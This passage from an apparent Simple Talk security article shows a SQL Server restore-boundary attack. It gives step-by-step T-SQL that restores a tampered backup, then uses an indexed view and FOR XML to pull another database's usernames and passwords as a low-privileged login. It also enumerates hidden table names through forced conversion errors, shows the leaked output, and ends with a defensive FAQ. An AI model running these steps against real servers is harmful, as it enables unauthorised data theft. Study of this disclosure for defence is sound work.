SensitiveData\nGO\nUSE SensitiveData\nGO\nDROP TABLE IF EXISTS TabUsers;\nGO\nCREATE TABLE TabUsers ([RowID]    INT IDENTITY(1, 1) NOT NULL, \n                   [UserName] VARCHAR(200), \n                   [Password] VARCHAR(200));\nGO\nINSERT INTO TabUsers([UserName], [Password]) \nVALUES('User1', 'pwd1'), \n      ('User2', 'pwd2'), \n      ('User3', 'pwd3'), \n      ('User4', 'pwd4'), \n      ('User5', 'pwd5');\nGO\nDROP TABLE IF EXISTS TabTest1;\nCREATE TABLE TabTest1 (ID INT);\nGO\nDROP TABLE IF EXISTS TabTest2;\nCREATE TABLE TabTest2 (ID INT);\nGO<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-how-to-restore-appdb-bak-on-target-instance-step-3\">How to restore AppDB.bak on target instance (step 3)<\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >\/* Step 3. Restore AppDB.bak on instance you want to hack *\/\n-- Remove DB\nUSE master\nGO\nIF DB_ID('AppDB') IS NOT NULL\nBEGIN\n  ALTER DATABASE AppDB SET SINGLE_USER WITH ROLLBACK IMMEDIATE\n  DROP DATABASE AppDB\nEND\nGO\n-- Restore AppDB\nRESTORE DATABASE AppDB FROM DISK = N'C:\\Temp\\Backup\\AppDB.bak' \nWITH FILE = 1, NOUNLOAD\nGO<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-creating-a-low-privileged-login-step-4\">Creating a low-privileged login (step 4)<\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >\/* Step 4. Create a login AppLogin and only give it access to AppDB *\/\nUSE master\nGO\nIF SUSER_ID('AppLogin') IS NULL\n  CREATE LOGIN AppLogin WITH PASSWORD=N'102030', CHECK_POLICY=OFF\nGO\nUSE AppDB\nGO\nDROP USER IF EXISTS AppLogin\nCREATE USER AppLogin FOR LOGIN AppLogin;\nALTER ROLE [db_owner] ADD MEMBER AppLogin;\nGO<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-how-to-access-data-from-any-database-step-5\">How to access data from any database (step 5)<\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >\/* Step 5. Access any data from any DB *\/\n-- AppLogin doesn't have access to SensitiveData db\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nSELECT * FROM SensitiveData.dbo.TabUsers\nGO\n\/*\nMsg 916, Level 14, State 2, Line 47\nThe server principal \"AppLogin\" is not able to access the database \"SensitiveData\" under the current security context.\n*\/\nREVERT;\nGO\n\n\/*\n  If you know the table name of DB you want to access,\n  you can use the vw_tmp and the indexed view to access it.\n  For instance, if I want to access SensitiveData.dbo.TabUsers, \n  I can do the following: \n*\/\n\n\/* Recreate vw_tmp view to read SensitiveData.dbo.TabUsers *\/\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nDROP VIEW IF EXISTS vw_tmp\nGO\nCREATE VIEW vw_tmp\nAS\nSELECT t.MyData\nFROM (SELECT *\n      FROM SensitiveData.dbo.TabUsers\nFOR XML AUTO, BINARY BASE64) AS t(MyData)\nGO\nREVERT;\nGO\n\n\/*\n  Insert something on tblTest1,\n  tsql in the view will be executed with an internal \n  elevated permission.\n*\/\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nDELETE FROM tblTest1;\nINSERT INTO tblTest1(RowID) VALUES(1);\n-- Data from SensitiveData.dbo.TabUsers will be there on MyData column\nSELECT MyData FROM vw_indexed WITH(NOEXPAND);\n\/*\n&lt;SensitiveData.dbo.TabUsers RowID=\"1\" UserName=\"User1\" Password=\"pwd1\" \/&gt;\n&lt;SensitiveData.dbo.TabUsers RowID=\"2\" UserName=\"User2\" Password=\"pwd2\" \/&gt;\n&lt;SensitiveData.dbo.TabUsers RowID=\"3\" UserName=\"User3\" Password=\"pwd3\" \/&gt;\n&lt;SensitiveData.dbo.TabUsers RowID=\"4\" UserName=\"User4\" Password=\"pwd4\" \/&gt;\n&lt;SensitiveData.dbo.TabUsers RowID=\"5\" UserName=\"User5\" Password=\"pwd5\" \/&gt;\n*\/\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-schema-discovery-via-error-explained-step-5b\">Schema discovery via error, explained (step 5b)<\/h3>\n\n\n\n<p>When the target table names aren&#8217;t known in advance, use the following <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/exploring-errors-to-reveal-unauthorized-information\/\" target=\"_blank\" rel=\"noreferrer noopener\">technique to enumerate them via conversion errors<\/a>:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \" >\/*\n  If you try to access sys.tables, it will fail because there is a validation (HAS_ACCESS function) on that  view that check if user has permission to access it.\n  To bypass this validation, we can add a predicate that will be checked before the has_access.\n  For example:\n*\/\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nDROP VIEW IF EXISTS vw_tmp\nGO\nCREATE VIEW vw_tmp\nAS\nSELECT t.MyData\nFROM (SELECT name\n      FROM SensitiveData.sys.tables\n      WHERE (CASE\n               WHEN \n                1=1\n                AND (schema_id &lt;&gt; SCHEMA_ID('sys') AND name NOT IN ('')) \n                AND (CONVERT(INT, 'name = ' + name) = 0) THEN 0\n             END) = 0) AS t(MyData)\nGO\nINSERT INTO tblTest1(RowID) VALUES(2);\n\/*\nMsg 245, Level 16, State 1, Line 238\nConversion failed when converting the nvarchar value 'name = TabUsers' to data type int.\n*\/\nGO\nREVERT;\nGO\n\n\/*\n  Using the technique above, we can identify table names by\n  forcing the conversion failure to be evaluated before has_access.\n\n  Then, to read next row, we could add table name displayed in the error\n  in the filter.\n*\/\n\n-- Reading next table name\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nDROP VIEW IF EXISTS vw_tmp\nGO\nCREATE VIEW vw_tmp\nAS\nSELECT t.MyData\nFROM (SELECT name\n      FROM SensitiveData.sys.tables\n      WHERE (CASE\n               WHEN \n                1=1\n                AND (schema_id &lt;&gt; SCHEMA_ID('sys') AND name NOT IN ('TabUsers')) \n                AND (CONVERT(INT, 'name = ' + name) = 0) THEN 0\n             END) = 0) AS t(MyData)\nGO\nINSERT INTO tblTest1(RowID) VALUES(2);\n\/*\nMsg 245, Level 16, State 1, Line 274\nConversion failed when converting the nvarchar value 'name = TabTest1' to data type int.\n*\/\nGO\nREVERT;\nGO\n*\/<\/pre><\/div>\n\n\n\n<p>Iterate this pattern, adding each discovered table name to the <code>NOT IN<\/code> list to fully enumerate the schema. Once a target table is identified, pivot back to the XML extraction method in Step 5.<\/p>\n\n\n\n<section id=\"my-first-block-block_e1d16418e876b995e96b6d00561e7da2\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Simple Talk is brought to you by Redgate Software<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            Take control of your databases with the trusted Database DevOps solutions provider. Automate with confidence, scale securely, and unlock growth through AI.                                    <\/div>\n            <\/div>\n                                            <a href=\"https:\/\/www.red-gate.com\/solutions\/overview\/\" class=\"btn btn--secondary btn--lg\" aria-label=\"Discover how Redgate can help you: Simple Talk is brought to you by Redgate Software\">Discover how Redgate can help you<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<section id=\"faq\" class=\"faq-block my-5xl\">\n    <h2>FAQs: How tampered indexed-view metadata can break cross-database isolation in SQL Server<\/h2>\n\n                        <h3 class=\"mt-4xl\">1. What is a SQL Server restore-boundary attack?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"250\" data-end=\"482\">A restore-boundary attack involves tampering with database metadata offline, embedding it in a backup, and exploiting trusted SQL Server behavior after the database is restored.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">2. How do indexed views create a security risk?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"484\" data-end=\"725\">Indexed views are trusted, engine-managed objects. If their persisted definitions are altered before backup, SQL Server may execute malicious logic during normal operations after restore.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">3. Can attackers access other databases without permissions?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"727\" data-end=\"947\">Yes. By abusing trusted engine processes like indexed-view maintenance, attackers can indirectly retrieve data from databases they cannot directly query.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">4. Is this a SQL injection vulnerability?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"949\" data-end=\"1126\">No, this is not SQL injection. It\u2019s a trust issue with persisted metadata that is executed by SQL Server internally after restore.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">5. Why are backups from untrusted sources dangerous?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"1128\" data-end=\"1337\">Because backups can contain manipulated metadata, restoring them is effectively importing untrusted executable state into your SQL Server environment.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">6. What is Msg 3859 and why does it matter?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"1339\" data-end=\"1539\">Msg 3859 is a warning indicating past direct system catalog modification. It can signal potential tampering and should be treated as a security alert.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">7. Can attackers hide evidence of tampering?<\/h3>\n            <div class=\"faq-answer\">\n                <p>Yes. Advanced attackers may erase forensic indicators like <code data-start=\"1651\" data-end=\"1670\">dbi_updSysCatalog<\/code>, meaning the absence of warnings does not guarantee safety.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">8. How can I protect against malicious SQL Server backups?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"1732\" data-end=\"1957\">Only restore trusted backups, audit restore operations, run DBCC CHECKCATALOG, restrict restore permissions, and treat restore workflows as a security boundary.<\/p>\n            <\/div>\n            <\/section>\n","protected":false},"excerpt":{"rendered":"<p>Indexed view tampering in SQL Server backups can expose cross-database data after restore. Learn how restore-boundary attacks work and how to defend against them.&hellip;<\/p>\n","protected":false},"author":65554,"featured_media":108045,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[46,143523,53,143530,143524],"tags":[4168,4170,5765,4150,4151],"coauthors":[6809],"class_list":["post-110071","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security-and-compliance","category-databases","category-featured","category-security","category-sql-server","tag-database","tag-database-administration","tag-security-and-compliance","tag-sql","tag-sql-server"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/110071","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/65554"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=110071"}],"version-history":[{"count":7,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/110071\/revisions"}],"predecessor-version":[{"id":110573,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/110071\/revisions\/110573"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media\/108045"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=110071"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=110071"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=110071"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=110071"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}